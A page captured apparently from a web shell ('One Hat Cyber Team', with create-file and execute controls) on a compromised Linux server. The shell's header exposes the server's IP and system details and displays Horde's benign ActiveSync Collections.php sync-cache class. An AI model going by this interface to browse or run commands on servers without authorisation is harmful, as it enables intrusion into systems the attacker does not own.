⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.78
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-pear
/
pear
/
php
/
Horde
/
ActiveSync
/
View File Name :
Collections.php
* @package ActiveSync */ /** * Horde_ActiveSync_Collections:: Responsible for all functionality related to * collections and managing the sync cache. * * @license http://www.horde.org/licenses/gpl GPLv2 * * @copyright 2010-2020 Horde LLC (http://www.horde.org) * @author Michael J Rubinsky
* @package ActiveSync * @internal Not intended for use outside of the ActiveSync library. */ class Horde_ActiveSync_Collections implements IteratorAggregate { const COLLECTION_ERR_FOLDERSYNC_REQUIRED = -1; const COLLECTION_ERR_SERVER = -2; const COLLECTION_ERR_STALE = -3; const COLLECTION_ERR_SYNC_REQUIRED = -4; const COLLECTION_ERR_AUTHENTICATION = -6; /** * The collection data * * @var array */ protected $_collections = array(); /** * Cache a temporary syncCache. * * @var Horde_ActiveSync_SyncCache */ protected $_tempSyncCache; /** * The syncCache * * @var Horde_ActiveSync_SyncCache */ protected $_cache; /** * The logger * * @var Horde_Log_Logger */ protected $_logger; /** * Count of unchanged collections calculated for PARTIAL sync. * * @var integer */ protected $_unchangedCount = 0; /** * Count of available synckeys * * @var integer */ protected $_synckeyCount = 0; /** * Global WINDOWSIZE * Defaults to 100 (MS-ASCMD 2.2.3.188) * * @var integer */ protected $_globalWindowSize = 100; /** * Flag to indicate we have overridden the globalWindowSize * * @var boolean */ protected $_windowsizeOverride = false; /** * Imported changes flag. * * @var boolean */ protected $_importedChanges = false; /** * Short sync request flag. * * @var boolean */ protected $_shortSyncRequest = false; /** * Cache of collections that have had changes detected. * * @var array */ protected $_changedCollections = array(); /** * The ActiveSync server object. * * @var Horde_ActiveSync */ protected $_as; /** * Cache the process id for logging. * * @var integer */ protected $_procid; /** * Cache of changes. * * @var array */ protected $_changes; /** * Flag to indicate the client is requesting a hanging SYNC. * * @var boolean */ protected $_hangingSync = false; /** * Const'r * * @param Horde_ActiveSync_SyncCache $cache The SyncCache. * @param Horde_ActiveSync $as The ActiveSync server object. */ public function __construct( Horde_ActiveSync_SyncCache $cache, Horde_ActiveSync $as) { $this->_cache = $cache; $this->_as = $as; $this->_logger = $as->logger; $this->_procid = getmypid(); } /** * Load all the collections we know about from the cache. */ public function loadCollectionsFromCache() { foreach ($this->_cache->getCollections(false) as $collection) { if (empty($collection['synckey']) && !empty($collection['lastsynckey'])) { $collection['synckey'] = $collection['lastsynckey']; } // Load the class if needed for EAS >= 12.1 if (empty($collection['class'])) { $collection['class'] = $this->getCollectionClass($collection['id']); } if (empty($collection['serverid'])) { try { $collection['serverid'] = $this->getBackendIdForFolderUid($collection['id']); } catch (Horde_ActiveSync_Exception $e) { $this->_logger->err($e->getMessage()); continue; } } $this->_collections[$collection['id']] = $collection; $this->_logger->meta(sprintf( 'COLLECTIONS: Loaded %s from the cache.', $collection['serverid']) ); } } /** * Magic... */ public function __call($method, $parameters) { switch ($method) { case 'hasPingChangeFlag': case 'addConfirmedKey': case 'updateCollection': case 'collectionExists': case 'updateWindowSize': return call_user_func_array(array($this->_cache, $method), $parameters); } throw new BadMethodCallException('Unknown method: ' . $method); } /** * Property getter */ public function __get($property) { switch ($property) { case 'hbinterval': case 'wait': case 'confirmed_synckeys': case 'lasthbsyncstarted': case 'lastsyncendnormal': return $this->_cache->$property; case 'importedChanges': case 'shortSyncRequest': case 'hangingSync': $p = '_' . $property; return $this->$p; } throw new InvalidArgumentException('Unknown property: ' . $property); } /** * Property setter. */ public function __set($property, $value) { switch ($property) { case 'importedChanges': case 'shortSyncRequest': case 'hangingSync': $p = '_' . $property; $this->$p = $value; return; case 'lasthbsyncstarted': case 'lastsyncendnormal': case 'hbinterval': case 'wait': $this->_cache->$property = $value; return; case 'confirmed_synckeys': throw new InvalidArgumentException($property . ' is READONLY.'); } throw new InvalidArgumentException('Unknown property: ' . $property); } /** * Get a new collection array, populated with default values. * * @return array */ public function getNewCollection() { return array( 'clientids' => array(), 'fetchids' => array(), 'windowsize' => 100, 'soft' => false, 'conflict' => Horde_ActiveSync::CONFLICT_OVERWRITE_PIM ); } /** * Ensure default OPTIONS values are populated, while not overwriting any * existing values. * * @since 2.20.0 */ public function ensureOptions() { foreach ($this->_collections as &$collection) { $this->_logger->meta(sprintf( 'COLLECTIONS: Loading default OPTIONS for %s collection.', $collection['id']) ); if (!isset($collection['mimesupport'])) { $collection['mimesupport'] = Horde_ActiveSync::MIME_SUPPORT_NONE; } if (!isset($collection['bodyprefs'])) { $collection['bodyprefs'] = array(); } } } /** * Add a new populated collection array to the sync cache. * * @param array $collection The collection array. * @param boolean $requireSyncKey Attempt to read missing synckey from * cache if true. If not found, set to 0. * * @throws Horde_ActiveSync_Exception_StateGone Thrown when no synckey * is provided when one is specified as required, indicating * the state on the client is possibly corrupt or when the * serverid can not be found by the backend. */ public function addCollection(array $collection, $requireSyncKey = false) { if ($requireSyncKey && empty($collection['synckey'])) { $cached_collections = $this->_cache->getCollections(false); $collection['synckey'] = !empty($cached_collections[$collection['id']]) ? $cached_collections[$collection['id']]['lastsynckey'] : 0; if ($collection['synckey'] === 0) { $this->_logger->err('COLLECTIONS: Attempting to add a collection to the sync cache while requiring a synckey, but no synckey could be found. Most likely a client error in requesting a collection during PING before it has issued a SYNC.' ); throw new Horde_ActiveSync_Exception_StateGone( 'Synckey required in Horde_ActiveSync_Collections::addCollection, but none was found.' ); } $this->_logger->meta(sprintf( 'COLLECTIONS: Obtained synckey for collection %s from cache: %s', $collection['id'], $collection['synckey']) ); } // Load the class if needed for EAS >= 12.1 and ensure we have the // backend folder id. if (empty($collection['class'])) { $collection['class'] = $this->getCollectionClass($collection['id']); } try { $collection['serverid'] = $this->getBackendIdForFolderUid($collection['id']); } catch (Horde_ActiveSync_Exception $e) { throw new Horde_ActiveSync_Exception_StateGone($e->getMessage()); } $this->_collections[$collection['id']] = $collection; $this->_logger->meta(sprintf( 'COLLECTIONS: Collection added to collection handler: collection: %s, synckey: %s.', $collection['serverid'], !empty($collection['synckey']) ? $collection['synckey'] : 'NONE') ); } /** * Translate an EAS folder uid into a backend serverid. * * @param $id The uid. * * @return string The backend server id. * @throws Horde_ActiveSync_Exception_FolderGone */ public function getBackendIdForFolderUid($folderid) { // Always use RI for recipient cache. if ($folderid == 'RI') { return $folderid; } $folder = $this->_cache->getFolder($folderid); if ($folder) { return $folder['serverid']; } else { $this->_logger->err('COLLECTIONS: Horde_ActiveSync_Collections::getBackendIdForFolderUid failed because folder was not found in cache.'); throw new Horde_ActiveSync_Exception_FolderGone('Folder not found in cache.'); } } /** * Translate a backend id E.g., INBOX into an EAS folder uid. * * @param string $folderid The backend id. * * @return string The EAS uid. */ public function getFolderUidForBackendId($folderid) { // Always use 'RI' for Recipient cache. if ($folderid == 'RI') { return $folderid; } $map = $this->_as->state->getFolderUidToBackendIdMap(); if (empty($map[$folderid])) { return false; } return $map[$folderid]; } /** * Return the count of available collections. * * @return integer */ public function collectionCount() { return count($this->_collections); } /** * Return the count of collections in the cache only. * * @return integer */ public function cachedCollectionCount() { return $this->_cache->countCollections(); } /** * Set the getchanges flag on the specified collection. * * @param string $collection_id The collection id. * * @throws Horde_ActiveSync_Exception */ public function setGetChangesFlag($collection_id) { if (empty($this->_collections[$collection_id])) { throw new Horde_ActiveSync_Exception('Missing collection data'); } $this->_collections[$collection_id]['getchanges'] = true; } /** * Get the getchanges flag on the specified collection. * * @param string $collection_id The collection id. * * @return boolean * @throws Horde_ActiveSync_Exception */ public function getChangesFlag($collection_id) { if (empty($this->_collections[$collection_id])) { throw new Horde_ActiveSync_Exception('Missing collection data'); } return !empty($this->_collections[$collection_id]['getchanges']); } /** * Sets the default WINDOWSIZE. * * Note that this is really a ceiling on the number of TOTAL responses * that can be sent (including all collections). This method should be * renamed for 3.0 * * @param integer $window The windowsize * @param boolean $override If true, this value will override any client * supplied value. */ public function setDefaultWindowSize($window, $override = false) { if ($override) { $this->_windowsizeOverride = true; } if ($override || empty($this->_windowsizeOverride)) { $this->_globalWindowSize = $window; } } public function getDefaultWindowSize() { return $this->_globalWindowSize; } /** * Validates the collection data from the syncCache, filling in missing * values from the folder cache. */ public function validateFromCache() { $this->_cache->validateCollectionsFromCache($this->_collections); } /** * Updates data from the cache for collectons that are already loaded. Used * to ensure looping SYNC and PING requests are operating on the most * recent syncKey. */ public function updateCollectionsFromCache() { $this->_cache->refreshCollections(); $collections = $this->_cache->getCollections(); foreach (array_keys($this->_collections) as $id) { if (!empty($collections[$id])) { $this->_logger->meta(sprintf( 'COLLECTIONS: Refreshing %s from the cache.', $id) ); $this->_collections[$id] = $collections[$id]; } } } /** * Return a collection class given the collection id. * * @param string $id The collection id. * * @return string|boolean The collection class or false if not found. */ public function getCollectionClass($id) { if ($id == 'RI') { return $id; } // First try existing, loaded collections. if (!empty($this->_collections[$id])) { return $this->_collections[$id]['class']; } // Next look in the SyncCache. if (isset($this->_cache->folders[$id]['class'])) { $class = $this->_cache->folders[$id]['class']; $this->_logger->meta(sprintf( 'COLLECTIONS: Obtaining collection class of %s for collection id %s', $class, $id) ); return $class; } return false; } public function getCollectionType($id) { if ($id == 'RI') { return $id; } // First try existing, loaded collections. if (!empty($this->_collections[$id]['type'])) { return $this->_collections[$id]['type']; } // Next look in the SyncCache. if (isset($this->_cache->folders[$id]['type'])) { $type = $this->_cache->folders[$id]['type']; $this->_logger->meta(sprintf( 'COLLECTIONS: Obtaining collection type of %s for collection id %s', $type, $id) ); return $type; } return false; } /** * Determine if we have any syncable collections either locally or in the * sync cache. * * @param long $version The EAS version * * @return boolean */ public function haveSyncableCollections($version) { // Ensure we have syncable collections, using the cache if needed. if ($version >= Horde_ActiveSync::VERSION_TWELVEONE && empty($this->_collections)) { $this->_logger->meta('COLLECTIONS: No collections loaded, looking in sync_cache.'); $found = false; foreach ($this->_cache->getCollections() as $value) { if (isset($value['synckey'])) { $this->_logger->meta(sprintf( 'COLLECTIONS: Found syncable collection: %s : %s.', $value['serverid'], $value['synckey']) ); $this->_collections[$value['id']] = $value; $found = true; } } return $found; } elseif (empty($this->_collections)) { return false; } $this->_logger->meta('COLLECTIONS: Have syncable collections!'); return true; } /** * Set the looping sync heartbeat values. * * @param array $hb An array containing one or both of: hbinterval, wait. */ public function setHeartbeat(array $hb) { if (isset($hb['wait'])) { $this->_cache->wait = $hb['wait']; } if (isset($hb['hbinterval'])) { $this->_cache->hbinterval = $hb['hbinterval']; } } /** * Return the heartbeat interval. Always returned as the heartbeat (seconds) * not wait interval (minutes). * * @return integer|boolean The number of seconds in a heartbeat, or false * if no heartbeat set. */ public function getHeartbeat() { return !empty($this->_cache->hbinterval) ? $this->_cache->hbinterval : (!empty($this->_cache->wait) ? $this->_cache->wait * 60 : false); } /** * Return whether or not we want a looping sync. We can do a looping sync * if we have no imported changes AND we have either a hbinterval, wait, * or a shortSync. * * @return boolean True if we want a looping sync, false otherwise. */ public function canDoLoopingSync() { return $this->_hangingSync && !$this->_importedChanges && ($this->_shortSyncRequest || $this->_cache->hbinterval !== false || $this->_cache->wait !== false); } /** * Return if the current looping sync is stale. A stale looping sync is one * which has begun earlier than the most recently running sync reported by * the syncCache. * * @return boolean True if the current looping sync is stale. False * otherwise. */ public function checkStaleRequest() { return !$this->_cache->validateCache(true); } /** * Return if we have a current folder hierarchy. * * @return boolean */ public function haveHierarchy() { return isset($this->_cache->hierarchy); } /** * Prepare for a hierarchy sync. * * @param string $synckey The current synckey from the client. * * @return array An array of known folders. */ public function initHierarchySync($synckey) { $this->_as->state->loadState( array(), $synckey, Horde_ActiveSync::REQUEST_TYPE_FOLDERSYNC); // Refresh the cache since it might have changed like e.g., if synckey // was empty. $this->_cache->loadCacheFromStorage(); return $this->_as->state->getKnownFolders(); } /** * Update/Add a folder in the hierarchy cache. * * @param Horde_ActiveSync_Message_Folder $folder The folder object. * @param boolean $update Update the state objects? @since 2.4.0 */ public function updateFolderinHierarchy( Horde_ActiveSync_Message_Folder $folder, $update = false) { $this->_cache->updateFolder($folder); $cols = $this->_cache->getCollections(false); $cols[$folder->serverid]['serverid'] = $folder->_serverid; $this->_cache->updateCollection($cols[$folder->serverid]); if ($update) { $this->_as->state->updateServerIdInState($folder->serverid, $folder->_serverid); } } /** * Delete a folder from the hierarchy cache. * * @param string $id The folder's uid. */ public function deleteFolderFromHierarchy($uid) { $this->_cache->deleteFolder($uid); $this->_as->state->removeState(array( 'id' => $uid, 'devId' => $this->_as->device->id, 'user' => $this->_as->device->user)); } /** * Return all know hierarchy changes. * * @return array An array of changes. */ public function getHierarchyChanges() { return $this->_as->state->getChanges(); } /** * Validate and perform some sanity checks on the hierarchy changes before * being sent to the client. * * @param Horde_ActiveSync_Connector_Exporter_FolderSync $exporter The exporter. * @param array $seenFolders An array of folders. */ public function validateHierarchyChanges(Horde_ActiveSync_Connector_Exporter_FolderSync $exporter, array $seenFolders) { if ($this->_as->device->version < Horde_ActiveSync::VERSION_TWELVEONE || count($exporter->changed)) { return; } // Remove unnecessary changes. foreach ($exporter->changed as $key => $folder) { if (isset($folder->serverid) && $syncFolder = $this->_cache->getFolder($folder->serverid) && in_array($folder->serverid, $seenfolders) && $syncFolder['parentid'] == $folder->parentid && $syncFolder['displayname'] == $folder->displayname && $syncFolder['type'] == $folder->type) { $this->_logger->meta(sprintf( 'COLLECTIONS: Ignoring %s from changes because it contains no changes from device.', $folder->serverid) ); unset($exporter->changed[$key]); $exporter->count--; } } // Remove unnecessary deletions. foreach ($exporter->deleted as $key => $folder) { if (($sid = array_search($folder, $seenfolders)) === false) { $this->_logger->meta(sprintf( 'COLLECTIONS: Ignoring %s from deleted list because the device does not know it', $folder) ); unset($exporter->deleted[$key]); $exporter->count--; } } } /** * Update the hierarchy synckey in the cache. * * @param string $key The new/existing synckey. */ public function updateHierarchyKey($key) { $this->_cache->hierarchy = $key; } /** * Prepares the syncCache for a full sync request. */ public function initFullSync() { $this->_cache->confirmed_synckeys = array(); $this->_cache->clearCollectionKeys(); } /** * Prepare the syncCache for an EMPTY sync request. * * @return boolean False if EMPTY request cannot be performed, otherwise * true. * @since 2.25.0 */ public function initEmptySync() { $this->loadCollectionsFromCache(); foreach ($this->_collections as $value) { // Remove keys from confirmed synckeys array and count them if (isset($value['synckey'])) { if (isset($this->_cache->confirmed_synckeys[$value['synckey']])) { $this->_logger->meta(sprintf( 'COLLECTIONS: Removed %s from confirmed_synckeys', $value['synckey']) ); $this->_cache->removeConfirmedKey($value['synckey']); } $this->_synckeyCount++; } } if (!$this->_checkConfirmedKeys()) { $this->_logger->err('COLLECTIONS: Some synckeys were not confirmed, but handling an empty request. Requesting full SYNC'); $this->save(); return false; } $this->shortSyncRequest = true; $this->hangingSync = true; $this->save(true); return true; } /** * Prepares the syncCache for a partial sync request and checks that * it is allowed. * * MS-ASCMD 2.2.3.124 * * @return boolean True if parital sync is possible, false otherwise. */ public function initPartialSync() { // Need this for all PARTIAL sync requests. $this->_tempSyncCache = clone $this->_cache; // Short circuit if we only have a changed ping/wait interval. if (empty($this->_collections)) { $emptyCollections = true; $this->_logger->meta('COLLECTIONS: No collections loaded, loading full collection set from cache.'); $this->loadCollectionsFromCache(); } else { // Collect collection options sent from client and compare against // last known collection options to determine which collections // changed. $emptyCollections = false; $c = $this->_tempSyncCache->getCollections(); foreach ($this->_collections as $key => $value) { // Collections from cache might not all have synckeys. if (empty($c[$key])) { continue; } $v1 = $value; foreach ($v1 as $k => $o) { if (is_null($o)) { unset($v1[$k]); } } unset($v1['id'], $v1['serverid'], $v1['clientids'], $v1['fetchids'], $v1['getchanges'], $v1['changeids'], $v1['pingable'], $v1['class'], $v1['synckey'], $v1['lastsynckey'] ); $v2 = $c[$key]; foreach ($v2 as $k => $o) { if (is_null($o)) { unset($v2[$k]); } } unset($v2['id'], $v2['serverid'], $v2['pingable'], $v2['class'], $v2['synckey'], $v2['lastsynckey'] ); ksort($v1); if (isset($v1['bodyprefs'])) { ksort($v1['bodyprefs']); foreach (array_keys($v1['bodyprefs']) as $k) { if (is_array($v1['bodyprefs'][$k])) { ksort($v1['bodyprefs'][$k]); } } } ksort($v2); if (isset($v2['bodyprefs'])) { ksort($v2['bodyprefs']); foreach (array_keys($v2['bodyprefs']) as $k) { if (is_array($v2['bodyprefs'][$k])) { ksort($v2['bodyprefs'][$k]); } } } if (md5(serialize($v1)) == md5(serialize($v2))) { $this->_unchangedCount++; } // Unset in tempSyncCache, since we have it from device. $this->_tempSyncCache->removeCollection($key); // Populate _collections with missing collection data not sent. $this->_getMissingCollectionsFromCache(); } } // Ensure we are both talking about the same synckey. foreach ($this->_collections as $value) { if (isset($value['synckey'])) { if (isset($this->_cache->confirmed_synckeys[$value['synckey']])) { $this->_logger->meta(sprintf( 'COLLECTIONS: Removed %s from confirmed_synckeys', $value['synckey']) ); $this->_cache->removeConfirmedKey($value['synckey']); } $this->_synckeyCount++; } } if (!$this->_checkConfirmedKeys()) { $this->_logger->warn('COLLECTIONS: Some synckeys were not confirmed. Requesting full SYNC'); $this->save(); return false; } if (!$emptyCollections && $this->_haveNoChangesInPartialSync()) { $this->_logger->warn('COLLECTIONS: Partial Request with completely unchanged collections. Request a full SYNC'); return false; } return true; } protected function _checkConfirmedKeys() { $csk = $this->_cache->confirmed_synckeys; if ($csk) { $this->_logger->meta(sprintf( 'COLLECTIONS: Confirmed Synckeys contains %s', serialize($csk)) ); return false; } return true; } /** * Return if we can do an empty response * * @return boolean */ public function canSendEmptyResponse() { return !$this->_importedChanges && ($this->_hangingSync && ($this->_cache->wait !== false || $this->_cache->hbinterval !== false)); } /** * Return if we have no changes to collection options, but have requested * a partial sync. A partial sync must have either a wait, hbinterval, * or some subset of collections to be valid. * * @return boolean */ protected function _haveNoChangesInPartialSync() { return $this->_synckeyCount > 0 && $this->_unchangedCount == $this->_synckeyCount && $this->_cache->wait == false && $this->_cache->hbinterval == false; } /** * Populate the collections data with missing data from the syncCache during * a PARTIAL SYNC. */ protected function _getMissingCollectionsFromCache() { if (empty($this->_tempSyncCache)) { throw new Horde_ActiveSync_Exception('Did not initialize the PARTIAL sync.'); } // Update _collections with all data that was not sent, but we // have a synckey for in the sync_cache. foreach ($this->_tempSyncCache->getCollections() as $value) { // The collection might have been updated due to incoming // changes. Some clients send COMMANDS in a PARTIAL sync and // initializing the PARTIAL afterwards will overwrite the various // flags stored in $collection['id'][] if (!empty($this->_collections[$value['id']])) { continue; } $this->_logger->meta(sprintf( 'COLLECTIONS: Using SyncCache State for %s', $value['serverid'] )); if (empty($value['synckey'])) { $value['synckey'] = $value['lastsynckey']; } $this->_collections[$value['id']] = $value; } } /** * Check for an update FILTERTYPE * * @param string $id The collection id to check * @param string $filter The new filter value. * * @return boolean True if filtertype passed, false if it has changed. */ public function checkFilterType($id, $filter) { $cc = $this->_cache->getCollections(); if (!empty($cc[$id]['filtertype']) && !is_null($filter) && $cc[$id]['filtertype'] != $filter) { $this->_logger->meta(sprintf( 'COLLECTIONS: Filtertype change from: %d to %d', $cc[$id]['filtertype'], $filter) ); $this->_cache->updateFiltertype($id, $filter); return false; } return true; } /** * Update the syncCache with current collection data. */ public function updateCache() { foreach ($this->_collections as $value) { $this->_cache->updateCollection($value); } } /** * Save the syncCache to storage. * * @param boolean $preserve_folders If true, ensure the folder cache is not * overwritten. @since 2.18.0 * @todo Refactor this hack away. Requires a complete refactor of the cache. */ public function save($preserve_folders = false) { // HOTFIX. Need to check the timestamp to see if we should reload the // folder cache before saving to ensure it isn't overwritten. See // Bug: 13273 if ($preserve_folders && !$this->_cache->validateCache()) { $this->_logger->meta('COLLECTIONS: Updating the foldercache before saving.'); $this->_cache->refreshFolderCache(); } $this->_cache->save(); } /** * Attempt to initialize the sync state. * * @param array $collection The collection array. * @param boolean $requireSyncKey Require collection to have a synckey and * throw exception if it's not present. * * @throws Horde_ActiveSync_Exception_InvalidRequest * @throws Horde_ActiveSync_Exception_FolderGone */ public function initCollectionState(array &$collection, $requireSyncKey = false) { // Clear the changes cache. $this->_changes = null; // Ensure we have a collection class. if (empty($collection['class'])) { if (!($collection['class'] = $this->getCollectionClass($collection['id']))) { throw new Horde_ActiveSync_Exception_FolderGone('Could not load collection class for ' . $collection['id']); } } // Load the collection's type if we can. if (empty($collection['type'])) { $collection['type'] = $this->getCollectionType($collection['id']); } // Get the backend serverid. if (empty($collection['serverid'])) { $collection['serverid'] = $this->getBackendIdForFolderUid($collection['id']); } if ($requireSyncKey && empty($collection['synckey'])) { throw new Horde_ActiveSync_Exception_InvalidRequest(sprintf( 'Empty synckey for %s.', $collection['id']) ); } // Initialize the state $this->_logger->info(sprintf( 'COLLECTIONS: Initializing state for collection: %s, synckey: %s', $collection['serverid'], $collection['synckey']) ); $this->_as->state->loadState( $collection, $collection['synckey'], Horde_ActiveSync::REQUEST_TYPE_SYNC, $collection['id']); } /** * Poll the backend for changes. * * @param integer $heartbeat The heartbeat lifetime to wait for changes. * @param integer $interval The wait interval between poll iterations. * @param array $options An options array containing any of: * - pingable: (boolean) Only poll collections with the pingable flag set. * DEFAULT: false * * @return boolean|integer True if changes were detected in any of the * collections, false if no changes detected * or a status code if failed. */ public function pollForChanges($heartbeat, $interval, array $options = array()) { $dataavailable = false; $started = time(); $until = $started + $heartbeat; $this->_logger->info(sprintf( 'COLLECTIONS: Waiting for changes for %s seconds', $heartbeat) ); // If pinging, make sure we have pingable collections. Note we can't // filter on them here because the collections might change during the // loop below. if (!empty($options['pingable']) && !$this->havePingableCollections()) { $this->_logger->err('COLLECTIONS: No pingable collections.'); return self::COLLECTION_ERR_SERVER; } // Need to update AND SAVE the timestamp for race conditions to be // detected. $this->lasthbsyncstarted = $started; $this->save(); // We only check for remote wipe request once every 5 iterations to // save on DB load since we must reload the device's state each time. $rw_check_countdown = 5; while (($now = time()) < $until) { // Try not to go over the heartbeat interval. if ($until - $now < $interval) { $interval = $until - $now; } // See if another process has altered the sync_cache. if ($this->checkStaleRequest()) { return self::COLLECTION_ERR_STALE; } // Make sure the collections are still there (there might have been // an error in refreshing them from the cache). Ideally this should // NEVER happen. if (!count($this->_collections)) { $this->_logger->err('NO COLLECTIONS! This should not happen!'); return self::COLLECTION_ERR_SERVER; } // Check for WIPE request once every 5 iterations to balance between // performance and speed of catching a remote wipe request. if ($rw_check_countdown-- == 0) { $rw_check_countdown = 5; if ($this->_as->provisioning != Horde_ActiveSync::PROVISIONING_NONE) { $rwstatus = $this->_as->state->getDeviceRWStatus($this->_as->device->id, true); if ($rwstatus == Horde_ActiveSync::RWSTATUS_PENDING || $rwstatus == Horde_ActiveSync::RWSTATUS_WIPED) { return self::COLLECTION_ERR_FOLDERSYNC_REQUIRED; } } } // Check each collection we are interested in. foreach ($this->_collections as $id => $collection) { // Initialize the collection's state data in the state handler. try { $this->initCollectionState($collection, true); } catch (Horde_ActiveSync_Exception_StateGone $e) { $this->_logger->notice(sprintf( 'COLLECTIONS: State not found for %s. Continuing by rquesting a SYNC.', $id) ); $dataavailable = true; $this->setGetChangesFlag($id); continue; } catch (Horde_ActiveSync_Exception_InvalidRequest $e) { // Thrown when state is unable to be initialized because the // collection has not yet been synched, but was requested to // be pinged. $this->_logger->err(sprintf( 'COLLECTIONS: Unable to initialize state for %s. Ignoring during pollForChanges: %s.', $id, $e->getMessage()) ); continue; } catch (Horde_ActiveSync_Exception_FolderGone $e) { $this->_logger->warn('COLLECTIONS: Folder gone for collection ' . $collection['id']); return self::COLLECTION_ERR_FOLDERSYNC_REQUIRED; } catch (Horde_ActiveSync_Exception $e) { $this->_logger->err('COLLECTIONS: Error loading state: ' . $e->getMessage()); $this->_as->state->loadState( array(), null, Horde_ActiveSync::REQUEST_TYPE_SYNC, $id); $this->setGetChangesFlag($id); $dataavailable = true; continue; } if (!empty($options['pingable']) && !$this->_cache->collectionIsPingable($id)) { $this->_logger->notice(sprintf('COLLECTIONS: Skipping %s because it is not PINGable.', $id)); continue; } try { if ($cnt = $this->getCollectionChangeCount(true)) { $dataavailable = true; $this->setGetChangesFlag($id); if (!empty($options['pingable'])) { $this->_cache->setPingChangeFlag($id); } } else { try { $this->_as->state->updateSyncStamp(); } catch (Horde_ActiveSync_Exception $e) { $this->_logger->err($e->getMessage()); } } } catch (Horde_ActiveSync_Exception_StaleState $e) { $this->_logger->notice(sprintf( 'COLLECTIONS: SYNC terminating and force-clearing device state: %s', $e->getMessage()) ); $this->_as->state->loadState( array(), null, Horde_ActiveSync::REQUEST_TYPE_SYNC, $id); $this->setGetChangesFlag($id); $dataavailable = true; } catch (Horde_ActiveSync_Exception_FolderGone $e) { $this->_logger->notice(sprintf( 'COLLECTIONS: SYNC terminating: %s', $e->getMessage()) ); // If we are missing a folder, we should clear the PING // cache also, to be sure it picks up any hierarchy changes // since most clients don't seem smart enough to figure this // out on their own. $this->resetPingCache(); return self::COLLECTION_ERR_FOLDERSYNC_REQUIRED; } catch (Horde_Exception_AuthenticationFailure $e) { // We lost authentication for some reason. $this->_logger->err('COLLECTIONS: Authentication lost during PING!!'); return self::COLLECTION_ERR_AUTHENTICATION; } catch (Horde_ActiveSync_Exception $e) { $this->_logger->err(sprintf( 'COLLECTIONS: Sync object cannot be configured, throttling: %s', $e->getMessage()) ); $this->_sleep(30); continue; } } if (!empty($dataavailable)) { $this->_logger->info('COLLECTIONS: Found changes!'); break; } // Wait a bit... $this->_sleep($interval); // Refresh the collections. $this->updateCollectionsFromCache(); } // Check that no other Sync process already started // If so, we exit here and let the other process do the export. if ($this->checkStaleRequest()) { $this->_logger->meta('COLLECTIONS: Changes in cache determined during Sync Wait/Heartbeat, exiting here.'); return self::COLLECTION_ERR_STALE; } $this->_logger->meta(sprintf( 'COLLECTIONS: Looping Sync complete: DataAvailable: %s, DataImported: %s', $dataavailable, $this->importedChanges) ); return $dataavailable; } /** * Wait for specified interval, and close any backend connections while * we wait. * * @param integer $interval The number of seconds to sleep. */ protected function _sleep($interval) { // Wait. $this->_logger->info(sprintf( '%sCOLLECTIONS: Sleeping for %s seconds.', str_repeat('-', 10), $interval)); // Close any backend connections. $this->_cache->state->disconnect(); sleep ($interval); $this->_cache->state->connect(); } /** * Check if we have any pingable collections. * * @return boolean True if we have collections marked as pingable. */ public function havePingableCollections() { foreach (array_keys($this->_collections) as $id) { if ($this->_cache->collectionIsPingable($id)) { return true; } } return false; } /** * Marks all loaded collections with a synckey as pingable. */ public function updatePingableFlag() { $collections = $this->_cache->getCollections(false); foreach ($collections as $id => $collection) { if (!empty($this->_collections[$id]['synckey'])) { $this->_logger->meta(sprintf( 'COLLECTIONS: Setting collection %s (%s) PINGABLE.', $collection['serverid'], $id) ); $this->_cache->setPingableCollection($id); } else { $this->_logger->meta(sprintf( 'COLLECTIONS: UNSETTING collection %s (%s) PINGABLE flag.', $collection['serverid'], $id) ); $this->_cache->removePingableCollection($id); } } } /** * Force reset all collection's PINGABLE flag. Used to force client * to issue a non-empty PING request. * */ public function resetPingCache() { $collections = $this->_cache->getCollections(false); foreach ($collections as $id => $collection) { $this->_logger->meta(sprintf( 'COLLECTIONS: UNSETTING collection %s (%s) PINGABLE flag.', $collection['serverid'], $id) ); $this->_cache->removePingableCollection($id); } } /** * Return any changes for the current collection. * * @param boolean $ping True if this is a PING request, false otherwise. * If true, we only detect that a change has occured, * not the data on all of the changes. * @param array $ensure An array of UIDs that should be sent in the * current response if possible, and not put off * because of a MOREAVAILABLE situation. * @deprecated and no longer used. * * @return array The changes array. */ public function getCollectionChanges($ping = false, array $ensure = array()) { if (empty($this->_changes)) { $this->_changes = $this->_as->state->getChanges(array('ping' => $ping)); } return $this->_changes; } /** * Return the count of the current collection's chagnes. * * @param boolean $ping Only ping the collection if true. * * @return integer The change count. */ public function getCollectionChangeCount($ping = false) { if (empty($this->_changes)) { $this->getCollectionChanges($ping); } return count($this->_changes); } /** * Iterator */ public function getIterator() { return new ArrayIterator($this->_collections); } }